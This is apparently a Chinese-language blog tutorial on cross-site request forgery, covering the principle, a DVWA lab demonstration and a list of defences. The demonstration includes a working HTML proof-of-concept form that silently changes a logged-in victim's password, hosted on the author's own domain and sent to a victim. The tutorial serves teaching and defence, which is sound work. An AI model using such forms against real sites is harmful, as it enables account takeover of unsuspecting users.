# 漏洞原理

CSRF(跨站请求伪造)漏洞是一种 Web 应用程序安全漏洞,它允许攻击者通过利用受害者的已认证会话来执行未经授权的操作。攻击者通常会欺骗受害者执行某个恶意请求,而受害者并不知情。这种攻击通常发生在用户已登录到 Web 应用程序的情况下,攻击者利用受害者的身份来执行操作,如更改密码、发起转账、修改个人资料等。

CSRF 攻击的基本原理是,攻击者构建一个恶意的请求,将其嵌入到一个看似无害的网页中,然后诱使受害者访问该网页。当受害者访问这个页面时,他们的浏览器会自动发送请求到受攻击的 Web 应用程序,以当前已认证的用户身份执行该请求。这就意味着攻击者可以执行一系列未经授权的操作。

# 漏洞攻击

DVWA 演示

更改密码抓取数据包

image-20231105215507531

image-20231105215626359

然后复制为 csrf POC

<html>
<body>
<form action="http://www.dvwa.com/vulnerabilities/csrf/?password_new=1234567&amp;password_conf=1234567&amp;Change=Change" method="GET" name="form1"  >
<input type="hidden" name="password_new" value="1234567"/>
<input type="hidden" name="password_conf" value="1234567"/>
<input type="hidden" name="Change" value="Change"/>
<input type="submit" value="Submit request" />
</form>
<script>history.pushState('', '', '/');</script>
</body>
</html>

创建一个页面放在自己服务器发布 gyzero.shop/cc.html 页面为下

image-20231105220033636

然后发给受害者如果受害者当前浏览器登陆了 DVWA 点击了此按钮密码就会被更改为 1234567

当前密码为 admin

image-20231105220600756

点击后再登陆

image-20231105220811275

密码已经被更改了

# CSRF 防御

为了防止 CSRF 攻击,开发人员可以采取以下措施:

  1. 随机生成令牌:在每个用户会话中生成一个随机的 CSRF 令牌,将其与每个请求一起发送,然后在服务器端验证令牌的有效性。这样,攻击者无法构造有效的 CSRF 请求,因为他们无法获得合法的 CSRF 令牌。
  2. 启用 SameSite 属性:Web 开发人员可以使用 Cookie 的 SameSite 属性,以控制 Cookie 是否可以在跨站点请求中发送。通常,将 Cookie 的 SameSite 属性设置为 "Strict" 或 "Lax" 可以有效减轻 CSRF 攻击。
  3. 验证请求来源:服务器可以验证请求的来源,确保请求是来自合法的域名,而不是恶意网站。
  4. 需要双重身份验证:对于敏感操作,应要求用户进行双重身份验证,以确保用户确认他们的操作。
  5. 对敏感操作使用 POST 请求:使用 POST 请求来执行敏感操作,因为 CSRF 攻击通常使用 GET 请求。
  6. 定期审查代码:定期审查应用程序的代码,以检查是否存在潜在的 CSRF 漏洞。

CSRF 漏洞可能对 Web 应用程序的安全性构成威胁,因此开发人员应该采取适当的措施来防止它们。同时,用户也应该保持警惕,不要轻易点击或访问不信任的链接,以减少成为 CSRF 攻击的受害者的风险。